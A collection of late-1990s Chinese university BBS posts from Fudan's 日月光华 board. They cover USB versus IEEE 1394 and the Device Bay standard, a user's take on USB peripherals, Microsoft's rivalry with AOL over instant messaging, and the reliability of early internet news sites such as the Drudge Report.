自供电。USB设备不再需要用单独的供电系统，而使用串口等其它的设备都需要独立电源 。USB接口内置了电源，可以向低压设备提供5V的电。 用处多。USB设备提供各种多媒体功能。支持USB的声卡和音箱可以更好地减少噪声。 二、USB的主要结构有哪些？ USB可以分为五个部分：控制器、控制器驱动程序、USB芯片驱动程序、USB设备和USB设 备驱动程序。其中： 控制器接收和执行由系统向USB发出的各种命令。 控制器驱动程序向控制器发送各种命令和向系统回馈各种信息。 USB芯片驱动程序使操作系统能够对USB进行支持。 USB设备是各种与PC的USB接口相连的设备。 USB设备驱动程序是使操作系统驱动USB设备的程序。 三、USB的主要传输方式有几种？ USB共有四种传输方式，分别是： 等时传输方式 该方式可以用于对时间非常敏感的需要连续传输数据并且对数据正确性要 求不高的USB设备（麦克风、音箱等）。当传输时发生错误，USB并不会处理这些错误， 而是继续传送数据。 中断传输方式 该方式可以用于传送数据量小但需要实时处理数据的USB设备（键盘、鼠 标等）。传输时可以实时处理错误。 批处理方式 该方式可以用于传输数据时要求正确无误的USB设备（打印机、扫描仪等） 。当传输时发生错误，USB会重新发送正确的数据。 控制传输方式 该方式可以用于处理系统到USB设备的数据传送。USB设备接收到这些数据 后，会以先进先出的原则处理数据。 四、USB在未来几年将发展成怎样？ USB是由COMPAQ、IBM、Inter、Microsoft、NEC等厂商共同制定的一种通用的外部设备总 线规范，它公布于19年。现今为止，它分为高速与低速的USB接口，分别为12Mbps/s和1 .5Mbps/s。USB经历了1.0与1.1两个标准，而USB2.0也即将推出。USB2.0是由COMPAQ、I BM、Inter、HP、Microsoft等厂商联合制定的。在1999年底，USB2.0推出了速度草案， 它的最高速度将达到480Mbps/s。USB2.0将极大地扩展了USB输入输出的带宽。 IEEE1394总线 一、IEEE1394的主要特征是什么？ 速度快。IEEE1394总线是一种目前为止最快的高速串行总线，最高的传输速度为400Mbp s/s。 支持好。IEEE1394对于各种需要大量带宽的设备提供了专门的优化。 连接多。IEEE1394接口可以同时连接63个不同设备。 热插拨。IEEE1394同USB一样，支持带电插拨设备。 不驱动。IEEE1394支持即插即用，现在的WIN98 SE、WIN2000、WIN ME、WIN XP都对IEE E1394支持的很好，在这些操作系统中用户不用再安装驱动程序，也能使用IEEE1394设备 。 二、IEEE1394难道没有缺点吗？ IEEE1394并不是没有缺点的，任何东西都是有缺点的，它的缺点主要表现于两个方面： 应用少。现在支持IEEE1394的设备也不太多，只有一些数码相机与MP3等一些使用高带宽 的设备使用IEEE1394。其它的设备其实也用不了那么高的带宽。 占用高。IEEE1394总线需要占用大量的资源，所以需要高速度的CPU。 三、IEEE1394的传输方式有哪些？ IEEE1394分为两种传输方式，其中： Backplane模式最小的速率也比USB1.1最高速率高，分别为12.5 Mbps/s 、25 Mbps/s 、 50 Mbps/s。可以用于多数的高带宽应用。 Cable模式是速度非常快的模式，其分为100 Mbps/s 、200 Mbps/s 和400 Mbps/s几种， 在200Mbps/s下可以传输不经压缩的高质量数据电影。 四、IEEE1394的未来发展状况如何？ IEEE1394总线是由苹果公司研制的，目前最高速度可达到400Mbps/s，速度分为12.5 Mb ps/s 、25 Mbps/s 、50 Mbps/s 、100 Mbps/s 、200 Mbps/s 和400 Mbps/s。将来会推 出1Gbps/s的IEEE1394技术。 USB与IEEE1394的区别 一、USB与IEEE1394的相同点主要有哪些？ 两者都是一种通用外接设备接口。 两者都可以快速传输大量数据。 两者都能连接多个不同设备。 两者都支持热插拨。 两者都可以不用外部电源。 二、USB与IEEE1394的不同点有哪些？ 两者的传输速率不同。USB的传输速率与IEEE1394的速率比起来真是小巫见大巫了。USB 的传输速率现在只有12Mbps/s，只能连接键盘、鼠标与麦克风等低速设备，而IEEE1394 可以使用400Mbap/s，可以用来连接数码相机、扫描仪和信息家电等需要高速率的设备。 两者的结构不同。USB在连接时必须至少有一台电脑，并且必须需要HUB来实现互连，整 个网络中最多可连接127台设备。IEEE1394并不需要电脑来控制所有设备，也不需要HUB ，IEEE1394可以用网桥连接多个IEEE1394网络，也就是说在用IEEE1394实现了63台IEEE 1394设备之后也可以用网桥将其他的IEEE1394网络连接起来，达到无限制连接。 两者的智能化不同。IEEE1394网络可以在其设备进行增减时自动重设网络。USB是以HUB 来判断连接设备的增减了。 两者的应用程度不同。现在USB已经被广泛应用于各个方面，几乎每台PC主板都设置了U SB接口，USB2.0也会进一步加大USB应用的范围。IEEE1394现在只被应用于音频、视频等 多媒体方面。 -- 无心灌水诚心浇花 隔岸观水不亦乐乎 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.14.111] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 杂谈 Device Bay 和 USB、IEEE 1394 发信站: 日月光华站 (Sun Dec 6 14:51:53 1998) , 转信 （转自飞翔鸟）　 众所周知,对PC机进行功能扩充不是一件简单易行的事情.随着 PC机用户向各层次发展,不了解计算机内部结构的用户日益增多.如何 简化外围设备扩充作业,使之方便易行便成为了众PC 机厂家面临的重 大研究课题.在这背景下Microsoft公司於1994年提出了Plug & Play方案,它是一种把PC记得外围设备和扩充电路板连接起来,马上 就可以使用的技术.也就是说在软件方面,增设外围设备和扩充电路板 时已较以前相对简化了许多.但是在硬件方面,扩充设置磁盘驱动器作 业,仍然是相当麻烦. 因此,在1996年召开的面向PC机硬件技术工作者会议上Compaq、 Intel和Microsoft三家厂商提出了设备插架(Device Bay)概念,并 于1997年6月正式公布设备插架标准规格0.8版,经过一段时间对0.8 版的大幅度修正,终于设备插家规格于1997年第3季度正式确定下来 了. 设备插架的规格分为台式PC机规格和笔记本式PC机规格,例如: 台式机的设备插架外形尺寸为159.4X177.8X1.9mm3,而笔记本式的 设备插架占用面积为130X127mm2,高度为19mm或12.7mm;对于馈电电 源规定如下:台式机设备插架里有+12V、5V和3.3V供电连接器,笔记 本机设备插架里只有+5V和3.3V供电连接器.同时,设备插架规定了扩 充插槽的机械规范和电气规范.事先把先要扩充的电路板和外围设备 放在规定的Chanssis,执行扩充作业时将它插入到设备插架里便可. 这种设备插架有以下3大特点: 1.设备插架插拔方式与VTR装入盒式录像带方式十分相似,把设 备插架盒套对准PC机箱上的设备插架入口轻轻一推即可,十分 方便. 2.利用设备插架实现PC机功能扩充时,PC机并不停电,原来的应 用程序照样RUN. 3.利用设备插架实现PC机功能扩充远比PCI总线扩充性高.使用 设备插架技术是最多可扩充63带外围设备.爽!!! 在设备插架规格里,利用串行接口IEEE1394和USB连接外围设备. 设备插架的连接器分别备有"IEEE1394"和"USB"(两者的详细资料请 见下文)的连接端.究竟利用那种串行接口,使外围设备情况而定.数据 传送速度为12Mb/S以下的低速外围设备用USB,IEEE1394适用于数据 传送速度为100Mb/s以上的高速外围设备.为了支持设备插架,PC机本 体、外围设备以及OS都必须做一定的修改.使用设备插架技术也需要 开发相应的LSI电路.PC业界的众多厂家对设备插架技术表示了热烈 的欢迎.详细的情况如下: 联合开发DEVICE BAY规格企业: COMPAQ、Intel和Microsoft. 表示积极支持的企业: Adaptec,Cirrus Logic,DEC,Exabyte,Harmon Industries International,HP,Highpoint Tech,IBM, Ingram Micro Electronics,Packard Bell,NEC,Seagate Tech,Silicon- System,Symbios Logic,TI,Western Digital,日立,三 菱电机,SONY,LG,三洋电机,东芝. 其中,COMPAQ和INTEL公司强热地表明,将在1998下半年把对应 设备插架的最初产品投放市场.另外,MICROSOFT公司汇总的文件 "PC-98"里也明确对应设备插架,"PC-98"是作为1998年度下半年以 后上市PC机的硬件规范. IEEE1394接口标准化作业始于1986年,由IEEE1394委员会主持 工作.从1988年开始,Apple公司Michael Teener着手研究IEEE1394 的基本技术,1992年Apple公司提案被采纳为IEEE1394标准规 范.1994年9月成立IEEE1394 Trade Association,主持推进以 IEEE1394为标准的家庭网络规格普及工作,并推出了用于保证高质量 和兼容性的规范. 例如:欧洲数字化视频广播DVB(DIGITAL VIDEO BROADCASTING)联盟决定把IEEE1394作为遥控器及其相关机器的标 准总线;由50多家企业构成的数字化视频摄像机联盟,把IEEE1394作 为数字化视频和音频的标准接口规格;具有决定性意义的是美国硬盘 驱动器厂家Seagate等公司把IEEE1394作为硬盘接口. IEEE1394具有如下主要特性: 1.高速数据传送. 今年陆续上市的IEEE 1394用的LSI电路一律支持 400Mbps数据传输速度,而且为了适应新的需求,人们仍在研究 更高速的传送如开发800Mbps和Gbps的LSI电路.器规范野人在 扩充,如引进IP的规范标准化和连接不同网络用规范标准化. 2.保证实时性 1394接口具有高速性和实时性.支持异步传送和等时传送 两种模式,而等时传送模式专用于实时地传送视频和音频数据. 3.高自由度连接/拓扑结构 IEEE1394接口允许接点菊花链(Node DaisyChain)和接 点分枝,实现混合连接.同时,通过协议时序优化(Protocol Timing Optimization),可实现更高效率的网络结构.尽管 1394规范允许DaisyChain,但若一味以一线串珠方式的 (Staight Line)连接,最多只能连接16台设备;只有采取混合 连接才能实现额定的63台设备连接.并且,当用户连接时,结点 超过规定的4.5m时, 就不能再使用廉价的6芯电缆布线了,必 须改用新产品POF(Polymer Opti-cal Fiber). 4.带电插拔/即插即用 1394接口的通信协议已明确规定,当网络上附加结构和撤 销结点时,能够 自动地实现网络重构和自动分配ID.因此允许HotPlugIn和 Plug&Play,对用户十分 方便。 有一点要注意的,由于1394结构的所有资源,都是以统一存储编 址形式用存储变换(Memory-Maps)方式(IEEE 1212规范)识别,实现 资源配置和管理.因此,从这种意义上观察,IEEE 1394是总线体系结 构;它向各设备发送数据时,它就是存取由IEEE 1212映射存储空间的 总线体系结构;也就是从高层次观察,IEEE 1394也和PCI总线等同样 是总线.这也就是有些资料把IEEE 1394接口也称为IEEE 1394总线 的原因. USB(通用串行总线)是由COMPAQ、DIGITAL、IBM、INTEL、 MICROSOFT、NEC以及Northern Telecom七家公司共同开发的一种新 的外设连接技术.这一技术将最终解决对串行设备和并行设备如何与 计算机相连的争论,大大简化计算机与外设的连接过程.USB主要具有 以下几个特点: 1.简单的插入安装 即所有的USB外设利用"ONE-SIZE-FITS-ALL"连接器都可 简单的插入计算 机中(热插拔),而不用关掉计算机. 2.更高的带宽 USB允许2种数据传送速度规格.1.5Mbps的一种叫低速传 送,12Mbps的叫 全速传送,全速传送时,结点间连接距离为5m,连接用的4芯电 缆,(电源:2条;信号 线:2条作为一条差动信号),其信号用电缆必须有屏蔽.该速率 与一个标准的串行 端口相比,大约快出100倍,与一个标准的并行端口相比,也快 出近10倍.这将意味 USB能支持高速接口(例如:ISDN,PRI,T1),使用户拥有足够的 带宽供新的数字外设 使用. 3.对多设备的支持 利用菊花链的形式对端口加以扩展,最多可在一台计算机 上同时支持127 种设备,而不会受到其PC上插槽的个数限制. 主机和USB设备之间的连接拓扑结构是星型连接结构.USB连接 器分A系列和B系列, USB设备利用B系列连接器预祝迹象连接, 而键盘,MOUSE,和扩充集线器等USB设备则利用A系列连接器与 主机实现连接.主机与要求全速传送的USB设备连接时, 可利 用HUB级联方法延长连接距离;但是,最多允许5个HUB级联,最 长扩展连接距离不得超过30m. 4.内置电源供给 USB电源能向低压设备提供5伏的电源,因此, 新的设备就 不需要专门的交流电源了,它们可以使用它的电源,这样就可以 降低这些设备的成本并提高性价比. 5.提供了对电话的两路数据支持 USB可支持异步以及等时数据传输,使电话可与PC集成,共 享话音邮件及其它特性. 6.更小的系统空间 7.高保真音频 由于USB音频信息生成与计算机外,而不是机器之内,因而 减小了电子噪音干扰声音质量的机会,从而使音频系统具有更 高的保真度. 综上所述,USB和IEEE1394串行接口具有以下几个共同特点: 1.信号线条数少,可用细而柔的轻便电缆; 2.电缆细软导致可用小巧的连接器; 3.不需要标识符ID设备和终端设定; 4.在不切断电源的情况下,可自由地向系统里接入或切断设 备连接; 5.两者都支持等时(Isochronous)传送模式,适合于多媒体 数据实时处理, 可保证图像等数据显示不间断,提高画面 质量和确保实时播放. IEEE1394和USB性能表: 性能 IEEE1394-1995 USB(Universal Serial Bus) 数据 传送 速度 100M、200M、 400M(bps) 1.5Mbps、12Mbps 可连 接结 点数 63个 127个 结点 之间 距离 4.5m(可延长至50〜 100m) 5m 等时 传送 模式 支持等时传送 支持等时传送 信号 线条 数 6条(电源:2,信号:4) 4条(电源:2,信号:2) 编码 方式 DSLink NRZI ★应用前景(纯属个人意见,仅供参考 ;-) ) 现在提出的设备插架技术是从硬件方面进一步完善了Plug&Play 的功能,这样用户扩充磁盘驱动器作业时,就犹如看录像一般方便 ------ 一推入像带就可以立即欣赏节目了.可以看到,设备插架取代 PCI总线插槽已成必然.但其取代PCI的先决条件是开发具备IEEE1394 接口的LSI电路,这也是现在的当务之急. Intel公司已於1997年4月 发表了"Audio'98 Roadmap"规范,建议半导体厂家把声源LSI和译码 编码器的接口由PCI转向IEEE1394和USB. 专家预计到1999 年,IEEE1394接口的传输速度能达到800Mb/s;到2000年时,则能达到 1.6Gb/s;当到2002年时, IEEE1394数据传输速度瞄准3.2Gb/s时,我 想PCI总线也就没有再存在的价值了.总之,由于设备插架技术得到了 微软 、英特尔等大公司及许多非盈利组织的支持技术发展的大方向 不太会错,它的前景将是光明的, 对于作为设备插架连接端的USB串行接口, 目前由于WIN 98的推 出已成为98中的一个关键部件,得到了全面的技术支持,并很快还将在 WIN CE和WIN NT 5.0的下一个版本中得到支持.并且当前APPLE的平 台也已提供了对USB的支持, 随着今年8月份的iMac推出,USB已进入 了Mac系列. iMac是彻底采用USB技术实现计算机与外设连接的第一批新型 PC，它没有串、平行或磁盘端口.过去Mac也支持即插即用的外设安 装, 但其非标准的技术不能与USB协同工作.Apple认为,USB不仅可使 Mac用户拥有对外设更大范围的选择, 而且还使它与外设数据交换的 速度快于以前. 预计今后Sun和Digital的平台也将会提供USB的技术支持 目前USB已得到了一个由450家技术公司组成的技术联盟的支持, 据Dataquest报告: 1998年配有USB的PC数量将增长 300%, 达到 1.36亿台.预计这一标准将在2001年出现在大约100%的台式PC和80% 的笔记本电脑中.同时,USB IF今年5月宣布,有超过220种USB外设已 通过与其它USB设备或系统间的互操作测试, 较年初又有50%的增长. 他们预计1998年将有100种外设通过测试. 今后,大多数新的PC将装有一个或两个USB端口,迄今为止大约有250 种USB设备正在开发之中,预计到1999年底还将有200多种这样的设备 得以开发. 当前许多USB外设已进入零售市场, 用户也可以从OEM 哪儿直接购买. 对于IEEE1394,它和USB都是新一代的多媒体PC机的外设接口. 当前USB用于连接低速外设,而IEEE1394可连高速外设和信息家电设 备 (尤其适合连接高档视频设备,当前这一技术已经在WIN 98中通过 添加卡形式向PC加以提供支持.预计,明年年底还会有更多符合1394 标准的设备投放市场.). 从性能上观察, USB的应用局限于PC机领 域,而IEEE1394应用领域将扩展到通信和信息家电. 随着高速数据通 信网络的开通,IEEE1394连接的家庭网络将同ADSL(Asymetric Digital Subscriber Line)、LMDS(Local Multipoint Distributed System) 、有线电视网和数字化电视广播网等沟通, 使每个用户家庭享受到高速数据通信的服务. 其前途也是无可限量 的. ★在此感谢中国计算机报"前沿技术"栏目编辑豁达、秦志斌的 有关数据资料. 本文作者：暮木 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.96.252.52] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: USB接口=性能提高？ 发信站: 日月光华站 (Fri Mar 5 11:20:43 1999) , 转信 电脑之家工作室 HAM-AAF 继AGP接口后USB接口渐渐流行起来，尤其是CREATIVE公司推出了一 款USB接口的手柄控制器和WIN98操作系统的支持将USB一下子抄热 了。一时间USB手柄热买，价格比同样使用声卡接口产品的高出数十 元，在电脑爱好者中流传着USB手柄性能要好些的说法。上海在USB MODEM昙花一现后随即带有USB接口的打印机和扫描仪也纷纷上市，只 是没有做大量的宣传所以并没有特别引人注意。USB的键盘和鼠标不 久也将陆续上市。 其实USB只是一种新型的接口技术为解决日益猛增的外设，如果你比 较喜欢添置外设的话，现在就应该感到传统微机提供的端口资源已日 益紧张。USB全名为Universal Serial Bus即通用串行总线。它的优 点是：支持即插即用；理论上支持127个设备（一时间还不会用到这 么多）；部分设备的电源可以由USB线路提供省略了独立的电源转换 器；USB接口提供了12Mbit/Sec(折合1.5Mbytes/Sec)传输带宽，较 部分微机提供的端口速度要快。 至于是否所有的设备只要使用了USB接口都意味着性能的提高呢？要 看具体设备了，从理论上讲需要较大带宽与微机通讯的设备确实有性 能提高，需要独立小电流电源的设备使用更方便，众多的外设不必抢 夺微机的中断资源，至于其他大部分是只是接口的改变。 我有幸搞到Microsoft的USB自然键盘和智能鼠标一套，实际使用 时并没有明显体现出USB接口的优势。对比CREATIVE公司的手柄（分 别接声卡和USB）如果一定要说USB版本的好只能说他可以方便的接两 个手柄，到是在部分模拟机游戏里传统接口的手柄更具兼容性。MODEM 领域中USB的MODEM除了体积小巧和不用外接电源外实际上网传输速率 和串口的MODEM相当。不过在外置串口的ISDN适配器的比试中USB宽带 （相对）优势体现出来了，用2B-128K上网串口TA一般稳定在113K左右 而USB接口的TA可以稳在128-130K。（两款TA是同一厂家生产的同一 系列，只是接口界面不同），但是用1B-64K上网时两者速度又相同了， 看来很可能是微机串口的并串行芯片的瓶颈作用所致，而USB接口正 好绕过了这个瓶颈。在使用打印机的对比中两者又不分上下。最后比 较了CREATIVE产的WebCam的摄像头，分别使用ECP和USB，这次到是USB 版本的略微占优，最大的好处是可以让微机唯一的一个并口专心服务 于并口扫描仪合打印机。如果你是TELES外置ISDN TA的用户USB的摄 像头是你唯一的选择，除非在上网时不用摄像头！？ 上述对比可以看到USB接口实际的一些情况，表面看来有些设备用了 USB接口没有性能提高至少性能下降，改变总是好的。但是在此提醒 大家一下，你看你的主板一般至多集成了两个USB借口，而现今大部 分USB设备都为了节省成本采用独占模式，意味着你的主板只能接两 个USB的设备，是不是一眨眼又要USB端口危机了？不是说USB可以接 127个设备吗？是的但是需要USB HUB的配合,独立的USB HUB价格不 菲（4个端口的要500元以上）相信一般人不会乐意投资购买。所以只 能寄希望于其他产品的附带这个功能。据悉BTC(英群)公司将推出具 有USB HUB功能的键盘可以提供两个USB接口。有些USB的显示器可以 提供4个端口的USB HUB功能。不过我们还是要节约使用USB端口，俗 话说好钢用在刀刃上，不要赶时髦现在让键盘、鼠标、手柄已占据了 为数不多的USB接口，到以后数字照相机、扫描仪、摄像头等真正要 用到它的时候才发现不够用了，不然又要化冤枉钱买HUB了，再说键 盘、鼠标、手柄都有自己的接口为什么不用呢？ -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: ms] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
刚刚赢得台式计算机和浏览器的胜利，Microsoft公司又不失时机地瞄准了下一个重要的目标，将对付AOL的问题提到议事日程上来了。 　　Microsoft打击AOL在即时传信和Internet服务提供商市场中的霸主地位，已经历时一年了。此外，两家公司都匆忙与非在线零售商建立合伙关系，以便使Internet进入主流市场。 　　进入新的一年后，两家公司又摆开阵势，继续展开疯狂的争夺，希望集中各种Internet新技术，寻求万无一失的上网手段。它们还打算推出新的服务，比如无线访问服务，使用户可以不必使用PC就能访问Internet。在新的一年里，不仅在美国，而且在欧洲和亚洲，两家公司都将面临许多重大的挑战，因为Internet的应用将会出现空前的大发展。 　　两家公司之间的撕杀虽然刚刚开始，但是却已经伤痕累累，这一次，Microsoft比它的对手更显得血迹斑斑。 　　Microsoft遇到的最大的挫折是在去年秋天，当时它单方面终止将它的即时传信软件纳入AOL的Instant Messenger(AIM）。即时传信软件已经成为AOL最著名的产品之一，其注册用户的数量已经超过4500万。为了打入AOL规模庞大的用户群体，Microsoft在它的MSN Messenger产品中增加了一个特性，使它的客户能够与AIM用户进行通信。Microsoft的这个举动使AOL大为恼火，它指责Microsoft“偷偷潜入”它的服务器。作为报复，AOL不再允许MSN Messenger用户使用它的服务，而Microsoft则试图打破AOL的这种做法。Microsoft要求AOL参与Internet工程任务组，制定即时传信的统一协议。去年整个11月份一直保持着这种对抗的态势。Microsoft宣布它将不再使MSN Messenger能够与AIM之间进行互操作，声称这会给MSN用户造成安全上的危险。 　　两家公司之间的对抗有可能在新的一年中扩大到其他的一些领域，这种对抗事关重大，它不仅是为了争夺对极其流行的应用软件的控制权，而且传信软件可以为另一个平台访问Web打下基础。
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: yanyong (严严), 信区: Internet 标 题: 因特网新闻：是喜还是忧？（一） 发信站: 日月光华站 (Fri Apr 9 12:07:51 1999) , 转信 因特网新闻：是喜还是忧？（一） 编 译：丹丹 文字录入：严严 德鲁奇其人与〖德鲁奇报道〗 几年前，美国的一名网上新闻撰搞人马特．德鲁奇自办了〖德鲁 奇报道〗网站（www.drudgereport.com）。几年内，这个网站发展迅 速，不断把人们吸引到因特网新闻着站点。毫不夸张地说，是“德鲁 奇报道”引起了人们对环球网（WWW）站点新闻的关注。１９９８年， “德鲁奇报道”链接的〖新闻周刊〗登载了莱温斯基和克林顿总统绯 闻，不仅使它的影响达到全盛，也给网上新闻的发展树立了决定性的 里程碑。同行评价说，德鲁奇对总统绯闻的报道“对因特网所起的作 用就像海湾战争造就了ＣＮＮ，肯尼迪事件造就了整个电视传媒业” 。 然而，也是“德鲁奇报道”这件得意之作，招致人们对网上新闻 站点的前所未有的猛烈抨击。因为好久以来，许多新闻记者一直在批 评因特网的报道为追求速度而牺牲准确性，此时，德鲁奇登峰造极的 报道正好引发了一场激烈的争论。 老牌政治记者朱尔斯．威特科弗说，莱温斯基的故事“出现在马 特．德鲁奇的毫不负责的网页中，而马特．德鲁奇是一个鲁莽的商人 和爱传闲话的人，他对他的报道准确与否毫不在乎”。 自从那个一月报道出来以后，批评家抓住德鲁奇偶尔为之的不准 确报道，作为攻击因特网新闻制作本身的口实。当德鲁奇在国家出版 俱乐部再次声称揭开了莱温斯基事件的面纱时，记者们写道，他只是 打破了〖新闻周刊〗杂志的进一步核实事件真实性的打算。德鲁奇报 道说４月份他的读者数量达６００万。在这件事情上，他仍因其不准 确性受到指责。职业新闻记者协会在线新闻分会主席斯塔西．克拉默 利用跟踪站点访问者的网上服务WebSideStory，戳穿了德鲁奇的谎言 。她说德鲁奇并没有统计他的读者数，而只是统计了使用他的站点的 前页网关的人数，这些人是通过这个网关去阅读其他出版物的，那上 面连德鲁奇报道的标题都没有。 美国计划研究所的詹姆斯．格拉斯曼在务鲁奇讲话后则表示：“ 我们需要一千个马特．德鲁奇，让读者们发挥自己的想象。”这话引 起传统的记者们强烈的反对，他们认为读者被置身于这样的环境中简 直不可思议。 因特网新闻可靠吗？ 面对各种站点五花八门的信息，因特的用户需要知道怎样对待众 多的网站，如像〖德鲁奇报道〗这样的站点，用超级链接把传言和各 种观点与传统的通讯社和报纸连在一起，有多少材料是原始的而不是 从别处抄来的呢？如何区分哪些是专业记者辛勤劳动的结果，哪些是 业余记者傍晚在汽车房外窃听来的小道消息呢？ ＣＮＮ曾撤回了一个关于在越南战争中使用神经毒气的报道；〖 辛辛那提调查〗也为它的关于ＣＱＢ公司信息收集失误道歉，并赔偿 受到损害的水果公司１０００万美金；另外两个印刷出版物也被捏造 故事的记者搞得狼狈不堪。由于这些事件的发生，人们正用怀疑的眼 光审视新闻报道的事实核对处理。如果这个处理在因特网上更加草率 ，当然会引起关注。 在因特网上，那些著名国际新闻媒体的站点被访问较多，如〖纽 约时报〗、ＡＢＣ新闻和ＣＮＮ等。但一些资深报人认为，就连这些 传统媒体也偶有编辑得不太好的原始的网上内容。〖费城调查〗和〖 费城每日新闻〗网站的总经理弗雷德．曼在〖编辑和出版商〗的采访 中承认，网上编辑室缺少新闻工作经验的确是个问题，那里通常由网 络能手来运作，而不是由受过职业训练的新闻记者。 除了缺乏有经验的工作人员外，因特网上信息的随时更新取代了 陈旧的间隔性的新闻周期，而报纸编辑和电视广播由于制作过程的需 要则做不到这一点。〖洛衫矶时报〗的大卫．肖写道：“因特网玩的 是速度。但所有干新闻这一行的都明白，速度往往是准确性的敌人。 ” 因特网的内容时时都在更新，这一特点被简称为“７天２４小时 ”（即每天２４小时、每星期７天），包括不断滚动的通讯社新闻摘 要，通过“雅虎”（yahoo）以及许多类似的搜索引擎都可访问。在线 专业新闻站点也都是这样运行。有个人主页新闻版，在线新闻杂志和 几乎无数的评论站点。就连很小的站点连接到报纸和通讯社后，看起 来也与传统的出版物一样了。〖编辑和出版商〗的编辑胡德．勒汶斯 认为这种情况的发展对报纸是一个可怕的威胁。他警告说：“毫无疑 问，读者们被迷惑了，这就是这些站点的目的。”勒汶斯担心传统的 媒体正在迅速响应，而不愿再像以前那样，做常规的事实核对。 -- 我自横眉对天啸 爱把江山作神妖 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.1.67] 发信人: yanyong (严严), 信区: Internet 标 题: 因特网新闻：是喜还是忧？（二） 发信站: 日月光华站 (Fri Apr 9 12:09:57 1999) , 转信 因特网新闻：是喜还是忧？（二） 编 译：丹丹 文字录入：严严 网上新闻的日益多样 〖沙龙〗是一份因特网杂志，其不足是冗长沉闷。它正用更多实 在的消息来丰富内容，以增加吸引力。它这样做始于１９９５年，那 时工作人员在杂志中加入了投资报道，认为这些内容将成为人们周六 晚会上的话题。现任主编大卫．威尔说，〖沙龙〗正积极地讨论扩大 新闻内容，那将意味着比简单链接到通讯社报道要丰富得多。为此， 〖沙龙〗已经雇用了十几名经验丰富的记者和编辑。 １９９８年６月，〖沙龙〗加入到对克林顿中国之行的主流媒体 报道，它驻华盛顿记者的一篇关于此次访问的报道和中美关系背影的 介绍颇有影响。但它并不总是一本正经，这个杂志也号召读者推荐他 们喜爱的天体浴场。据最新报道，〖沙龙〗作为因特网上最早的杂志 之一，现在每月的访问量达６万人次。 在线〖摘要〗几乎是一份“报纸”，还掺杂有来自法新社的新闻 报道，由特约作者和撰搞人肯．莱纳和查尔斯．霍恩伯格提供。他们 称〖摘要〗是“挺棒的、令人兴奋的网上刊物和编写得很好的报纸， 它没有大多数美国报纸刊载的那类无聊的东西”。它也作为主流新闻 被其他媒体引用，据称每月读者流量达７．５万人次。 主编乔．希可能把他的〖美国报道〗称为日报，但是大多数常看 报纸的读者认为它什么也不是。例如，它就从不登载有关国家的新闻 。这个站点其实是特邀作者的专栏总泄。希说，这些作者分享站点的 利润。这些作者中的某些人是著名的退休报人，希承认，他们没有从 〖美国报道〗得到多少钱。其他的投稿者包括一个电影专业的大学毕 业生、一个前公共关系经理和一个前县行政司法长官。 〖美国报道〗独有的被称做“每日情报概要”的特点来自平克顿 私家侦探公司全球情报服务网的报道，它提供国际恐怖主义和风险评 估的简短消息。１９９８年６月底，〖美国报道〗对１７个国家进行 了风险评估，涉及国家从伊朗（极度风险）到法国（低风险）。希说 ，平克顿私家侦探公司的工作人员大多由前军事情报机构人员组成－－ 当然不是你平时所知的报纸撰稿人。在同一天，〖美国报道〗也对印 度尼西亚成立新政党和亚洲仓储市场的复兴做了报道。希说，他不知 道有多少人读了他的〖美国报道〗。 乔．凯瑟纳斯早上３点半就起床，在上班之前给〖AMNA〗站点写 稿件。凯瑟纳斯没有当记者的背景，也没受过专门训练，但也在玩新 闻。 〖AMNA〗曾登载一则消息：一个澳大利亚男人为了逃避工作在报 纸上刊登了他的父亲死亡的假通告。〖AMNA〗报道说，这个年轻人被 逮捕了，在监牢中关了９０天。大标题为：〖儿子被关 父亲发疯 〗。据凯瑟纳斯说，一天有几千人读它。同时，他又补充说：“如果 〖AMNA〗是你唯一的新闻来源，你可能就有麻烦了。” 〖水獭网页〗的创始人乔．身特贝恩不认为他的网页会使他放弃 日常工作。身特贝恩说，他的站点是一个创造性的窗口，提供给他一 个机会：当他发表看法后，再站到旁观者的角度对自己的动机提出疑 问，看看自己的阴暗面。身特贝恩说经营他的站点一年花费不到２５０ 美元，而５月份就有７０００读者。 关于这些没有什么名气的站点，〖滚石〗的批评家乔恩．凯兹说 ：“判别可靠性是贯穿所有媒体的问题，但是在网上想知道谁正在对 你说话更难。”但是凯兹认为，当尘埃落定时，人们将把信任放在传 统的报刊上，他们在因特网上看的越来越多的将是传统的报刊。 网上新闻与商业经营 传统的媒体中，编辑内容和广告是分离的。而因特网评论家关注 着显然非传统的网上商店。一个例子是，〖纽约时报〗在线引擎使读 者在阅读关于一本书的评论时，能直接转到网上书店〖谷仓和贵族〗 去购买这本书。 对于这种现象，圣迈克尔学院新闻教授黛安妮．林奇正在进行一 项一年期的课题研究。她认为，这些商业联系已经打破了编辑内容和 商业行为之间的界线。 〖在线新闻评论〗的执行编辑拉里．普赖尔评论说：“对于在线 新闻，找到一个不用卖商品就能维持其生存的方法，是重要的。”据 〖编辑和出版商〗的列文说，可怕的是“对钱的需要导致新闻标准的 扭曲，这也将导致网站变成商店”。 〖沙龙〗的威尔文是某个新闻记者团体的成员，他试图推出一套 行为准则来规范这样的问题。他认为许多网站不仅愿意采纳这样一个 规则，而且要显示一个标识语表示他们对该规则的遵从－－一套新闻 业的内部管理保证。 而〖OJR〗的普赖尔不认为那是一个特别有用的想法，他倒认为网 站应该标示出它们的所有者，这样读者们就能够判断潜在的倾向性。 作为一个例子，他怀疑微软所拥有的〖抨击〗在写计算机方面的文章 时能否避免倾向性。 这期间，几乎每个月，新闻业者都参加讨论会商讨在线出版物。 据普赖尔说，因特网信息量每天１００天就翻一番。尽管普赖尔很保 守，却对因特网新闻持乐观态度。 同时，马特．德鲁奇现象在继续，他有自己的电视节目，产已经 被〖花花公子〗杂志采访。尽管他仍然面对一个由总统顾问提出的 ３０００万美元诉讼案，但最近他还说想给学院学生讲新闻学。 -- 我自横眉对天啸 爱把江山作神妖 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.1.67] -------------------------------------------------------------------------------- 